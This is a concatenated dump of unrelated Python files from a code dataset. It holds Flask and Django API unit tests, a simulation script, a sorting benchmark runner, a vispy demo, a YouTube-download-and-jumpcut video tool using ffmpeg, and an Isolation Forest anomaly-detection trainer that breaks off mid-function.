desiredRAName.split()\n\n # Configure the appGlobals.conn.cursor.execute mock to return different values\n # after subsequent calls.\n self.mocked_appGlobals.conn.cursor().fetchone.side_effect = [\n None, # First query is for the Old RA ID\n None, # Second query is for the Date information\n None # Third query is for the Schedule information\n ]\n\n # -- Act --\n\n resp = self.server.post(\"/schedule/api/deleteDuty\",\n json=dict(\n raName=desiredRAName,\n dateStr=desiredDateStr\n ),\n base_url=self.mocked_appGlobals.baseOpts[\"HOST_URL\"])\n\n # -- Assert --\n\n # Assert that the last time appGlobals.conn.cursor().execute was called,\n # it was a query for the RA.\n self.mocked_appGlobals.conn.cursor().execute.assert_called_with(\n \"\"\"\n SELECT ra.id \n FROM ra JOIN staff_membership AS sm ON (sm.ra_id = ra.id)\n WHERE ra.first_name LIKE %s \n AND ra.last_name LIKE %s \n AND sm.res_hall_id = %s;\"\"\",\n (expectedfName, expectedlName, self.user_hall_id)\n )\n\n # Assert that we received the expected response\n self.assertEqual(resp.json, stdRet(0, \"Unable to Verify Previously Assigned RA.\"))\n\n # Assert that appGlobals.conn.cursor().close was called\n self.mocked_appGlobals.conn.cursor().close.assert_called_once()\n\n def test_withAuthorizedUser_withInvalidDay_returnsInvalidSelectionResponse(self):\n # Test to ensure that when an authorized user attempts to use this API, if\n # an invalid Day is provided, this method will return an Invalid Date\n # Selection response.\n\n # -- Arrange --\n\n # Reset all of the mocked objects that will be used in this test\n self.mocked_authLevel.reset_mock()\n self.mocked_appGlobals.conn.reset_mock()\n\n # Set the auth_level of this session to 2\n self.mocked_authLevel.return_value = 2\n\n # Generate the various objects that will be used in this test\n desiredDateStr = \"2021-01-26\"\n desiredRAName = \"Test User\"\n\n expectedRAID = 9\n\n # Configure the appGlobals.conn.cursor.execute mock to return different values\n # after subsequent calls.\n self.mocked_appGlobals.conn.cursor().fetchone.side_effect = [\n (expectedRAID,), # First query is for the Old RA ID\n None, # Second query is for the Date information\n None # Third query is for the Schedule information\n ]\n\n # -- Act --\n\n resp = self.server.post(\"/schedule/api/deleteDuty\",\n json=dict(\n raName=desiredRAName,\n dateStr=desiredDateStr\n ),\n base_url=self.mocked_appGlobals.baseOpts[\"HOST_URL\"])\n\n # -- Assert --\n\n # Assert that the last time appGlobals.conn.cursor().execute was called,\n # it was a query for the RA.\n self.mocked_appGlobals.conn.cursor().execute.assert_called_with(\n \"SELECT id, month_id FROM day WHERE date = TO_DATE(%s, 'MM/DD/YYYY');\",\n (desiredDateStr,)\n )\n\n # Assert that we received the expected response\n self.assertEqual(resp.json, stdRet(0, \"Invalid Date\"))\n\n # Assert that appGlobals.conn.cursor().close was called\n self.mocked_appGlobals.conn.cursor().close.assert_called_once()\n\n def test_withAuthorizedUser_withInvalidSchedule_returnsInvalidSelectionResponse(self):\n # Test to ensure that when an authorized user attempts to use this API, if\n # an invalid Day is provided, this method will return an Invalid Date\n # Selection response.\n\n # -- Arrange --\n\n # Reset all of the mocked objects that will be used in this test\n self.mocked_authLevel.reset_mock()\n self.mocked_appGlobals.conn.reset_mock()\n\n # Set the auth_level of this session to 2\n self.mocked_authLevel.return_value = 2\n\n # Generate the various objects that will be used in this test\n desiredDateStr = \"2021-01-26\"\n desiredRAName = \"Test User\"\n\n expectedDayID = 34\n expectedMonthID = 3\n expectedRAID = 9\n\n # Configure the appGlobals.conn.cursor.execute mock to return different values\n # after subsequent calls.\n self.mocked_appGlobals.conn.cursor().fetchone.side_effect = [\n (expectedRAID,), # First query is for the Old RA ID\n (expectedDayID, expectedMonthID), # Second query is for the Date information\n None # Third query is for the Schedule information\n ]\n\n # -- Act --\n\n resp = self.server.post(\"/schedule/api/deleteDuty\",\n json=dict(\n raName=desiredRAName,\n dateStr=desiredDateStr\n ),\n base_url=self.mocked_appGlobals.baseOpts[\"HOST_URL\"])\n\n # -- Assert --\n\n # Assert that the last time appGlobals.conn.cursor().execute was called,\n # it was a query for the RA.\n self.mocked_appGlobals.conn.cursor().execute.assert_called_with(\n \"SELECT id FROM schedule WHERE hall_id = %s AND month_id = %s ORDER BY created DESC, id DESC;\",\n (self.user_hall_id, expectedMonthID)\n )\n\n # Assert that we received the expected response\n self.assertEqual(resp.json, stdRet(0, \"Unable to validate schedule.\"))\n\n # Assert that appGlobals.conn.cursor().close was called\n self.mocked_appGlobals.conn.cursor().close.assert_called_once()\n\n def test_withAuthorizedUser_withValidParams_removesDutyFromDB(self):\n # Test to ensure that when an authorized user attempts to use this API, if\n # all provided parameters are valid, this method will remove the appropriate\n # duty from the DB.\n\n # -- Arrange --\n\n # Reset all of the mocked objects that will be used in this test\n self.mocked_authLevel.reset_mock()\n self.mocked_appGlobals.conn.reset_mock()\n\n # Set the auth_level of this session to 2\n self.mocked_authLevel.return_value = 2\n\n # Generate the various objects that will be used in this test\n desiredDateStr = \"2021-01-26\"\n desiredRAName = \"Test User\"\n\n expectedDayID = 34\n expectedMonthID = 3\n expectedRAID = 9\n expectedScheduleID = 14\n\n # Configure the appGlobals.conn.cursor.execute mock to return different values\n # after subsequent calls.\n self.mocked_appGlobals.conn.cursor().fetchone.side_effect = [\n (expectedRAID,), # First query is for the Old RA ID\n (expectedDayID, expectedMonthID), # Second query is for the Date information\n (expectedScheduleID,) # Third query is for the Schedule information\n ]\n\n # -- Act --\n\n resp = self.server.post(\"/schedule/api/deleteDuty\",\n json=dict(\n raName=desiredRAName,\n dateStr=desiredDateStr\n ),\n base_url=self.mocked_appGlobals.baseOpts[\"HOST_URL\"])\n\n # -- Assert --\n\n # Assert that the last time appGlobals.conn.cursor().execute was called,\n # it was a query for the RA.\n self.mocked_appGlobals.conn.cursor().execute.assert_called_with(\n \"\"\"DELETE FROM duties\n WHERE ra_id = %s\n AND hall_id = %s\n AND day_id = %s\n AND sched_id = %s\"\"\",\n (expectedRAID, self.user_hall_id, expectedDayID, expectedScheduleID)\n )\n\n # Assert that we received the expected response\n self.assertEqual(resp.json, stdRet(1, \"successful\"))\n\n # Assert that appGlobals.conn.cursor().close was called\n self.mocked_appGlobals.conn.cursor().close.assert_called_once()\n\n # Assert that appGlobals.conn.commit was called\n self.mocked_appGlobals.conn.commit.assert_called_once()\n","sub_path":"schedule/tests/schedule_deleteDuty_test.py","file_name":"schedule_deleteDuty_test.py","file_ext":"py","file_size_in_byte":16660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"77247480","text":"import random\nimport math\nimport pylab\n\ndef mean(elem):\n return float(sum(elem))/len(elem)\n\ndef stdDev(elem):\n \"elem is list of elements\"\n avg = mean(elem)\n cumSum = 0.0\n for e in elem:\n cumSum += (e - avg)**2.0\n return (cumSum/len(elem))**0.5\n\ndef simDist(numDraws,startWhite, startBlack):\n white = float(startWhite)\n black = float(startBlack)\n drawsLeft = numDraws\n ratio = []\n while drawsLeft > 0:\n if random.random() > white/(white+black):\n black -= 1\n else:\n white -=1\n drawsLeft -= 1\n ratio.append(black/(white+black))\n #pylab.plot(ratio,'ko',markersize = 3)\n return (white,black)\n \ndef cumSimDist(numSims):\n temp = 0\n for i in xrange(numSims):\n temp += simDist()\n return temp\n \ndef makePlot(xVals,yVals,title,xLabel,yLabel,style='b-',logX=False,logY=False):\n pylab.figure()\n pylab.title(title)\n pylab.xlabel(xLabel)\n pylab.ylabel(yLabel)\n pylab.plot(xVals,yVals,style)\n if logX:\n pylab.semilogx()\n if logY:\n pylab.semilogy()\n \ndef simPlot(minExp,maxExp,numTrials):\n xAxis = []\n means, SDs = [],[]\n for i in xrange(minExp,maxExp+1):\n xAxis.append(2**i)\n \n for numSims in xAxis:\n nums = []\n for i in xrange(numSims):\n nums.append(cumSimDist(numTrials))#aqui va numSims\n means.append(mean(nums))\n SDs.append(stdDev(nums))\n makePlot(xAxis,means,'hi','xlabel','ylabel','bo',True)\n makePlot(xAxis,SDs,'hi','xlabel','ylabel','bo',True)\n\n\nresults = {}\nnumTrials = 10000\nfor i in xrange(numTrials):\n ww , bb = simDist(25,80,20)\n results[bb] = results.get(bb,0)+1\nxx = results.keys()\nxx. append(0)\nxx.append(20)\nyy = []\nfor i in xx:\n yy.append(results.get(i,0))\npylab.plot(xx,yy,\"ko\")\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"378194071","text":"import sys\nimport os\n\n\ndef main(sorting_alg, data_size, perc_rate, repetitions):\n inFile = '_data-' + perc_rate + '-' + data_size + '.in'\n path = os.getcwd() + '/data-' + perc_rate + '/' + sorting_alg + '/' + data_size\n for n in range(0, int(repetitions)):\n createDir(path, sorting_alg, data_size)\n os.system('./' + sorting_alg + ' < ' + inFile + ' > ' + path + '/data-' + data_size + '-' + str(n+1) + '.out ')\n\ndef createDir(path, sorting_alg, data_size):\n if os.path.isdir(path) == False:\n try:\n os.makedirs(path)\n except OSError as ose:\n print (\"Creation of the directory failed %s\", path)\n print (ose)\n else:\n print (\"Successfully created the directory \")\n\n\n#print(os.path.dirname(os.path.abspath(__file__)))\nalg = [\n #'quick', \n #'bubble', \n #'merge', \n 'insertion'\n ]\nperc_rate = [\n 'normal',\n #'001',\n #'002',\n #'005'\n]\nd_size = [\n #'100',\n '1000',\n '10000'\n ]\nrepetitions = '3000'\n\nprint('Iniciando execucao...')\nfor n in alg:\n print('Algoritmo: ' + n)\n for p in perc_rate:\n print('% Rate: ' + p)\n for y in d_size:\n print('Data Size: ' + y)\n print('Repeticoes: ' + repetitions)\n main(n, y, p, repetitions)\nprint('Finalizando execucao...')\n","sub_path":"sorting/main_execution.py","file_name":"main_execution.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"118756858","text":"from django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom django.test import TestCase\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom recipe.serializers import TagSerializer\nfrom core.models import Tag, Recipe\n\nTAGS_URL = reverse('recipe:tag-list')\n\n\nclass PublicTagAPITest(TestCase):\n \"\"\"Test public api tags\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n\n def test_login_required(self):\n \"\"\"Test that login is required\"\"\"\n res = self.client.get(TAGS_URL)\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateTagAPITest(TestCase):\n \"\"\"Tests that requires authentication\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().objects.create(email='salman@gmail.com',\n password='test1234')\n self.client.force_authenticate(self.user)\n\n def test_retrieve_tags(self):\n \"\"\"Test for retrieving tags\"\"\"\n Tag.objects.create(user=self.user, name='Vegan')\n Tag.objects.create(user=self.user, name='Dessert')\n Tag.objects.create(user=self.user, name='Launch')\n\n res = self.client.get(TAGS_URL)\n tags = Tag.objects.all().order_by('-name')\n serializer = TagSerializer(tags, many=True)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n def test_limit_tag_to_user(self):\n \"\"\"Test that logged in user gets his/her own recipes\"\"\"\n user2 = get_user_model().objects.create_user(\n email='another@gmail.com', password='test1234')\n Tag.objects.create(user=user2, name='Bread')\n tag = Tag.objects.create(user=self.user, name='Diary')\n res = self.client.get(TAGS_URL)\n\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data[0]['name'], tag.name)\n\n def test_creat_tag_successful(self):\n \"\"\"Test for creating tag\"\"\"\n payload = {\"name\": \"created tag\"}\n self.client.post(TAGS_URL, payload)\n tag_exists = Tag.objects.filter(\n user=self.user, name=payload.get('name')\n ).exists()\n self.assertTrue(tag_exists)\n\n def test_invalid_tag_name(self):\n \"\"\"Test that invalid names raise validation error\"\"\"\n res = self.client.post(TAGS_URL, {\"name\": '', })\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_retrieve_tags_assigned_to_recipes(self):\n \"\"\"Filtering tags by those assigned to recipes\"\"\"\n tag1 = Tag.objects.create(user=self.user, name='one')\n tag2 = Tag.objects.create(user=self.user, name='two')\n recipe = Recipe.objects.create(user=self.user,\n title='Stake barbra',\n time_minutes=39,\n price=15.00)\n recipe.tags.add(tag1)\n res = self.client.get(TAGS_URL,\n {'assigned_only': 1})\n\n serializer1 = TagSerializer(tag1)\n serializer2 = TagSerializer(tag2)\n\n self.assertIn(serializer1.data, res.data)\n self.assertNotIn(serializer2.data, res.data)\n\n def test_retrieve_tags_assigned_to_recipes_unique(self):\n \"\"\"Filtering tags by those assigned to recipes are unique\"\"\"\n tag1 = Tag.objects.create(user=self.user, name='one')\n Tag.objects.create(user=self.user, name='two')\n\n recipe1 = Recipe.objects.create(\n user=self.user,\n title='Stake barbra',\n time_minutes=39,\n price=15.00)\n recipe1.tags.add(tag1)\n\n recipe2 = Recipe.objects.create(\n user=self.user,\n title='Stake barbra',\n time_minutes=39,\n price=15.00)\n recipe2.tags.add(tag1)\n\n res = self.client.get(TAGS_URL,\n {'assigned_only': 1})\n\n self.assertEqual(len(res.data), 1)\n","sub_path":"app/recipe/tests/test_tag_api.py","file_name":"test_tag_api.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"543060495","text":"import os\nimport sys\nimport nuclai.bootstrap\t\t# Demonstration specific setup.\nimport scipy.misc # Image loading and manipulation.\nimport vispy.scene # Canvas & visuals for rendering.\n \n\nclass Application(object):\n \n def __init__(self):\n self.canvas = vispy.scene.SceneCanvas(\n title='nucl.ai Placeholder',\n size=(1280, 720),\n bgcolor='#F0F0F0',\n show=False,\n keys='interactive')\n\n self.widget = self.canvas.central_widget\n \n # Image CC-SA-NC by alexjc and iquilezles.\n data = scipy.misc.imread('background.jpg')\n\n vispy.scene.visuals.Image(data, parent=self.widget)\n\n vispy.scene.visuals.Text(parent=self.widget,\n text='nucl.ai Courses',\n face='Questrial', color='#000000', font_size=20 * self.canvas.pixel_scale,\n anchor_x='right', anchor_y='top',\n pos=[1268.0, 12.0, 0.0])\n\n vispy.scene.visuals.Text(parent=self.widget,\n text='The Principles of Modern Game AI',\n face='Questrial', color='#f0f0f0', font_size=12 * self.canvas.pixel_scale,\n anchor_x='left', anchor_y='bottom',\n pos=[16.0, 712.0, 0.0])\n\n\n self.canvas.show(visible=True)\n \n # HACK: Bug in VisPy 0.5.0-dev requires a click for layout to occur.\n self.canvas.events.mouse_press()\n\n def process(self, _):\n return\n\n def run(self):\n timer = vispy.app.Timer(interval=1.0 / 30.0)\n timer.connect(self.process)\n timer.start()\n \n vispy.app.run()\n\n\nif __name__ == \"__main__\":\n vispy.set_log_level('WARNING')\n vispy.use(app='glfw')\n \n app = Application()\n app.run()\n","sub_path":"python/placeholder/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"334355608","text":"def permute(nums: List[int]):\n if len(nums) == 1:\n yield nums\n else:\n for i, n in enumerate(nums):\n rest = nums[:i] + nums[i + 1:]\n\n for sub in permute(rest):\n yield [n, *sub]\n\n\nclass Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n return [*permute(nums)]","sub_path":"leetcode/solutions/medium/permutations/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"448394077","text":"\nimport subprocess\nfrom audiotsm import phasevocoder\nfrom audiotsm.io.wav import WavReader, WavWriter\nfrom scipy.io import wavfile\nimport numpy as np\nimport re\nimport math\nfrom shutil import copyfile, rmtree\nimport os\nimport argparse\nfrom pytube import YouTube\n#made with love :)\ndef downloadFile(url):\n name = YouTube(url).streams.first().download()\n newname = name.replace(' ','_')\n os.rename(name,newname)\n return newname\n\ndef getMaxVolume(s): #returns max volume of wav file, input is an array\n maxv = float(np.max(s))\n minv = float(np.min(s))\n return max(maxv,-minv)\n\ndef copyFrame(inputFrame,outputFrame): #copies frame from input to output\n src = TEMP_FOLDER+\"/frame{:06d}\".format(inputFrame+1)+\".jpg\"\n dst = TEMP_FOLDER+\"/newFrame{:06d}\".format(outputFrame+1)+\".jpg\"\n if not os.path.isfile(src):\n return False\n copyfile(src, dst) \n if outputFrame%20 == 19:\n print(str(outputFrame+1)+\" time-altered frames saved.\")\n return True\n\ndef inputToOutputFilename(filename): #when user just inputs a filename, this function converts it to the output filename\n dotIndex = filename.rfind(\".\")\n return filename[:dotIndex]+\"_ALTERED\"+filename[dotIndex:]\n\ndef createPath(s): #creates path if it doesn't exist\n try: \n os.mkdir(s)\n except OSError: \n assert False, \"Creation of the directory %s failed. (The TEMP folder may already exist. Delete or rename it, and try again.)\"\n\ndef deletePath(s): #deletes path if it exists\n try: \n rmtree(s,ignore_errors=False)\n except OSError: \n print (\"Deletion of the directory %s failed\" % s)\n print(OSError)\n\nparser = argparse.ArgumentParser(description='Modifies a video file to play at different speeds when there is sound vs. silence.') #creates parser\nparser.add_argument('--input_file', type=str, help='the video file you want modified') #adds input file\nparser.add_argument('--url', type=str, help='A youtube url to download and process') #adds url\nparser.add_argument('--output_file', type=str, default=\"\", help=\"the output file. (optional. if not included, it'll just modify the input file name)\") #adds output file\nparser.add_argument('--silent_threshold', type=float, default=0.03, help=\"the volume amount that frames' audio needs to surpass to be consider \\\"sounded\\\". It ranges from 0 (silence) to 1 (max volume)\") #adds silent threshold\nparser.add_argument('--sounded_speed', type=float, default=1.00, help=\"the speed that sounded (spoken) frames should be played at. Typically 1.\") #adds sounding speed\nparser.add_argument('--silent_speed', type=float, default=5.00, help=\"the speed that silent frames should be played at. 999999 for jumpcutting.\") #adds silent speed\nparser.add_argument('--frame_margin', type=float, default=1, help=\"some silent frames adjacent to sounded frames are included to provide context. How many frames on either the side of speech should be included? That's this variable.\") #adds frame margin\nparser.add_argument('--sample_rate', type=float, default=44100, help=\"sample rate of the input and output videos\") \nparser.add_argument('--frame_rate', type=float, default=30, help=\"frame rate of the input and output videos. optional... I try to find it out myself, but it doesn't always work.\")\nparser.add_argument('--frame_quality', type=int, default=3, help=\"quality of frames to be extracted from input video. 1 is highest, 31 is lowest, 3 is the default.\")\n\nargs = parser.parse_args()\n\n\n\nframeRate = args.frame_rate\nSAMPLE_RATE = args.sample_rate\nSILENT_THRESHOLD = args.silent_threshold\nFRAME_SPREADAGE = args.frame_margin\nNEW_SPEED = [args.silent_speed, args.sounded_speed]\nif args.url != None:\n INPUT_FILE = downloadFile(args.url)\nelse:\n INPUT_FILE = args.input_file\nFRAME_QUALITY = args.frame_quality\n\nassert INPUT_FILE != None , \"You forgot to put the input file :(\"\n\nif len(args.output_file) >= 1:\n OUTPUT_FILE = args.output_file\nelse:\n OUTPUT_FILE = inputToOutputFilename(INPUT_FILE)\n\nTEMP_FOLDER = \"TEMP\"\nAUDIO_FADE_ENVELOPE_SIZE = 400\ncreatePath(TEMP_FOLDER)\n\ncommand = \"ffmpeg -i \"+INPUT_FILE+\" -qscale:v \"+str(FRAME_QUALITY)+\" \"+TEMP_FOLDER+\"/frame%06d.jpg -hide_banner\" #converts frames to .jpg\nsubprocess.call(command, shell=True)\n\ncommand = \"ffmpeg -i \"+INPUT_FILE+\" -ab 160k -ac 2 -ar \"+str(SAMPLE_RATE)+\" -vn \"+TEMP_FOLDER+\"/audio.wav\" #converts audio to .wav\n\nsubprocess.call(command, shell=True)\n\n\n\n\nsampleRate, audioData = wavfile.read(TEMP_FOLDER+\"/audio.wav\") #reads audio file\naudioSampleCount = audioData.shape[0] #number of samples in audio file\nmaxAudioVolume = getMaxVolume(audioData) #max volume of audio file\n\nsamplesPerFrame = sampleRate/frameRate #how many samples per frame\n\naudioFrameCount = int(math.ceil(audioSampleCount/samplesPerFrame)) #how many frames to extract from audio file\n\nhasLoudAudio = np.zeros((audioFrameCount)) #array to keep track of which frames have loud audio\n\n\n\nfor i in range(audioFrameCount):\n start = int(i*samplesPerFrame) #start of current frame\n end = min(int((i+1)*samplesPerFrame),audioSampleCount) #end of current frame\n audiochunks = audioData[start:end] #samples of current frame\n maxchunksVolume = float(getMaxVolume(audiochunks))/maxAudioVolume #max volume of samples in current frame\n if maxchunksVolume >= SILENT_THRESHOLD: \n hasLoudAudio[i] = 1 #input value in has loud audio\n\nchunks = [[0,0,0]] #array to keep track of chunks and their start and end times\nshouldIncludeFrame = np.zeros((audioFrameCount)) #array to keep track of which frames should be included\nfor i in range(audioFrameCount): \n start = int(max(0,i-FRAME_SPREADAGE)) #start of current chunk\n end = int(min(audioFrameCount,i+1+FRAME_SPREADAGE)) #end of current chunk\n shouldIncludeFrame[i] = np.max(hasLoudAudio[start:end]) #whether this chunk should be included\n if (i >= 1 and shouldIncludeFrame[i] != shouldIncludeFrame[i-1]): \n chunks.append([chunks[-1][1],i,shouldIncludeFrame[i-1]]) #append chunk to chunks\n\nchunks.append([chunks[-1][1],audioFrameCount,shouldIncludeFrame[i-1]]) #append chunk to chunks\nchunks = chunks[1:] #remove first chunk (start time = 0)\n\noutputAudioData = np.zeros((0,audioData.shape[1])) #array to keep track of audio data to be written to output file\noutputPointer = 0 #pointer to keep track of where to write audio data to output file\n\nlastExistingFrame = None #last existing frame\nfor chunk in chunks: \n audioChunk = audioData[int(chunk[0]*samplesPerFrame):int(chunk[1]*samplesPerFrame)] #samples of current chunk\n \n sFile = TEMP_FOLDER+\"/tempStart.wav\" #temp file to be used for start of current chunk\n eFile = TEMP_FOLDER+\"/tempEnd.wav\" #temp file to be used for end of current chunk\n wavfile.write(sFile,SAMPLE_RATE,audioChunk) #writes start of current chunk to temp file\n with WavReader(sFile) as reader: #reads start of current chunk\n with WavWriter(eFile, reader.channels, reader.samplerate) as writer: #writes end of current chunk\n tsm = phasevocoder(reader.channels, speed=NEW_SPEED[int(chunk[2])]) #creates phase vocoder object\n tsm.run(reader, writer) #runs phase vocoder\n _, alteredAudioData = wavfile.read(eFile) #reads end of current chunk\n leng = alteredAudioData.shape[0] #length of altered audio data\n endPointer = outputPointer+leng #end pointer value upadted to be the end of the current chunk\n outputAudioData = np.concatenate((outputAudioData,alteredAudioData/maxAudioVolume)) #adds altered audio data to output audio data\n\n \n if leng < AUDIO_FADE_ENVELOPE_SIZE: #if the length of the altered audio data is less than the fade envelope size\n outputAudioData[outputPointer:endPointer] = 0 #set the values in the output audio data to 0\n else:\n premask = np.arange(AUDIO_FADE_ENVELOPE_SIZE)/AUDIO_FADE_ENVELOPE_SIZE #creates a mask to fade the audio data\n mask = np.repeat(premask[:, np.newaxis],2,axis=1) # make the fade-envelope mask stereo todo : make this work with more than 2 channels\n outputAudioData[outputPointer:outputPointer+AUDIO_FADE_ENVELOPE_SIZE] *= mask #fades the audio data\n outputAudioData[endPointer-AUDIO_FADE_ENVELOPE_SIZE:endPointer] *= 1-mask #fades the audio data\n\n startOutputFrame = int(math.ceil(outputPointer/samplesPerFrame)) #start of current output frame\n endOutputFrame = int(math.ceil(endPointer/samplesPerFrame)) #end of current output frame\n for outputFrame in range(startOutputFrame, endOutputFrame): \n inputFrame = int(chunk[0]+NEW_SPEED[int(chunk[2])]*(outputFrame-startOutputFrame)) #input frame of current output frame\n didItWork = copyFrame(inputFrame,outputFrame) #copy frame from input to output\n if didItWork: \n lastExistingFrame = inputFrame #it worked :)\n else: \n copyFrame(lastExistingFrame,outputFrame) #it will work anyhow\n\n outputPointer = endPointer #updates output pointer\n\nwavfile.write(TEMP_FOLDER+\"/audioNew.wav\",SAMPLE_RATE,outputAudioData) #writes output audio data to output file\ncommand = \"ffmpeg -framerate \"+str(frameRate)+\" -i \"+TEMP_FOLDER+\"/newFrame%06d.jpg -i \"+TEMP_FOLDER+\"/audioNew.wav -strict -2 \"+OUTPUT_FILE #command to convert frames to video\nsubprocess.call(command, shell=True) #runs command\n\ndeletePath(TEMP_FOLDER)\n\n","sub_path":"jumpcutter.py","file_name":"jumpcutter.py","file_ext":"py","file_size_in_byte":9282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"301513326","text":"#!/usr/bin/env python\n# detect_EDK-means.py\n# The python script is used to detect abnormal frames in event time series using Isolation Forest.\n# @Author : wwt\n# @Date : 2018-12-25\n\nimport numpy as np\nfrom common import common_funcs\nfrom sklearn.ensemble import IsolationForest\nimport matplotlib.pyplot as plot\nimport sys\nimport yaml\nimport pickle\n\n\n\ndef fit(train_file='data_std.txt', config='parameters.yaml', model_file='', slotting=True, plotting=False):\n \"\"\"\n # train the model(s) on the given data set, within each time slot if enabled\n # the model will be saved to local disk as specified by the 'model_save_path' in cfg\n :param train_file: contains data to fit\n :param config: configuration file path\n :param model_file: specified model file to store pre-trained model(s), save to the one specified in cfg if not given\n :param slotting: if True then load slotting configs from cfg(default = parameters.yaml), no slotting if False\n :param plotting: if True then plot the decisions on training data, no plotting if False\n :return: decision functions on training data\n \"\"\"\n print(\"INFO@OCSVM: loading cfg file...\")\n # load yaml config file\n with open(config, 'r') as cfg:\n params = yaml.load(cfg)\n\n ''' load input data config '''\n headlines = params['headlines']\n num_channels = params['num_channels']\n channel_fmt_list_py3 = [] # data format\n channel_fmt_list_py2 = []\n for ch in params['data_format_py3']:\n channel_fmt_list_py3.append(tuple(ch))\n for ch in params['data_format_py2']:\n channel_fmt_list_py2.append(tuple(ch))\n\n if train_file == '': # use file path specified in config if not given as an argument\n train_file = params['data_file']\n data_rescaling = params['rescale']\n JZLogFrame_type = np.dtype(channel_fmt_list_py3)\n if sys.version_info[0] < 3: # for py2\n JZLogFrame_type = np.dtype(channel_fmt_list_py2)\n\n # the range of data to learn\n start_hour_shift = 0\n training_data_range_limit = params['training_data_range_limit']\n\n ''' load slotting config '''\n slot_size = params['slot_size']\n if slot_size == -1 or not slotting:\n slot_size = 24\n num_models = 24 / slot_size if 24 % slot_size == 0 else 24 / slot_size + 1\n\n ''' load model params '''\n model_name = params['model_name']\n trees = params['trees']\n samples_tree = params['samples_tree']\n features_tree = params['features_tree']\n cr = params['cr'] # contamination rate\n decisions_save_path = params['decision_save_path']\n model_save_path = model_file if model_file else params['model_save_path']\n\n # read data from the cleaned, normalized/standardized data set\n train_data = common_funcs.read_data(train_file,\n skips=headlines,\n cols=tuple(range(num_channels + 1)),\n datatype=JZLogFrame_type)\n # determine left bound and right bound\n if training_data_range_limit == [-1, -1]: # default setting in config file\n training_data_range_limit = [0, len(train_data)]\n else:\n training_data_range_limit[0] = max(training_data_range_limit[0], 0) # left bound\n training_data_range_limit[1] = min(training_data_range_limit[1], len(train_data)) # right bound\n start_date = train_data[training_data_range_limit[0]][0]\n train_data = train_data[training_data_range_limit[0]: training_data_range_limit[1]]\n\n # print(train_data)\n print(\"INFO@IsoForest: Number of slots = %d\" % num_models)\n print(\"INFO@IsoForest: Model training in each slot starts...\")\n\n # slotting\n slots = common_funcs.get_fixed_slot_frame_sets(train_data, slot_size, True, 'date')\n # training_set_decisions set, should be temporally sequential from start_hour_shift to end_h\n glob_decisions_map = list(range(training_data_range_limit[0], training_data_range_limit[1]))\n model_set = []\n\n # fit/train model one by one for each slot\n model_id = 0\n for slot in slots:\n time_seq = np.array(slot)[:, 0].tolist() # get timestamp sequence and transform it to hour-index sequence\n for k in range(len(time_seq)):\n time_seq[k] = common_funcs.count_hours_from_str(time_seq[k]) # convert stamp to absolute time\n time_seq[k] -= common_funcs.count_hours_from_str(start_date) # further trans to hour index starting from 0\n\n # invoke to train in-built iForest model\n # [1]Liu, Fei Tony, Ting, Kai Ming and Zhou, Zhi-Hua. \"Isolation forest.\"\n # Data Mining, 2008. ICDM'08. Eighth IEEE International Conference on.\n # [2]Liu, Fei Tony, Ting, Kai Ming and Zhou, Zhi-Hua. \"Isolation-based anomaly detection.\"\n # ACM Transactions on Knowledge Discovery from Data (TKDD) 6.1 (2012): 3.\n #\n # @n_estimator number of isolation trees\n # @max_samples number of samples to be isolated in each tree, 'auto'=256(2**8) as demonstrated on p.9, [2]\n # @contamination contamination rate, directly determines the threshold\n # @max_features features used in a tree, optimal value=1 as shown in Fig.11, [2]\n # @bootstrap sampling with/without replacement, 'False'=without replacement\n # @behavior\n isoforest = IsolationForest(n_estimators=trees, max_samples='auto', contamination=cr,\n max_features=features_tree, bootstrap=False, behaviour='new')\n isoforest.fit(np.delete(np.array(slot), 0, 1)) # feed timestamp-stripped slot data\n\n # cache each slot-wise model\n model_set.append(isoforest)\n print(\"INFO@IsoForest: model id%s cached.\" % id(isoforest))\n model_id += 1\n\n # force minor class label to be '-1', and positive label '1'\n local_decisions_map = isoforest.decision_function(np.delete(np.array(slot), 0, 1)).tolist()\n\n # mapping training_set_decisions of this slot-local model to the global decision map\n for idx in range(len(time_seq)):\n glob_decisions_map[time_seq[idx]] = local_decisions_map[idx] # store training_set_decisions\n\n # dump models to disk as binary file using pickle\n print(\"INFO@IsoForest: Dumping models into %s\" % model_save_path)\n with open(model_save_path, 'wb') as msp:\n pickle.dump(model_set, msp)\n\n # save training data decisions to disk\n print(\"INFO@IsoForest: Dumping decisions of training data into %s\" % decisions_save_path)\n decisions_with_stamps = np.array([train_data, glob_decisions_map]).T\n common_funcs.save_data(decisions_save_path, decisions_with_stamps, linenum=False)\n\n # plot decisions on training data\n if plotting:\n plot.scatter(range(training_data_range_limit[0], training_data_range_limit[1]), glob_decisions_map, s=1 ** 2)\n plot.hlines(y=0, xmin=training_data_range_limit[0], xmax=training_data_range_limit[1], linestyles='dashed')\n plot.title(model_name + \"\\ndecision map (+1/-1 denotes normality/anomaly)\")\n plot.show()\n\n return 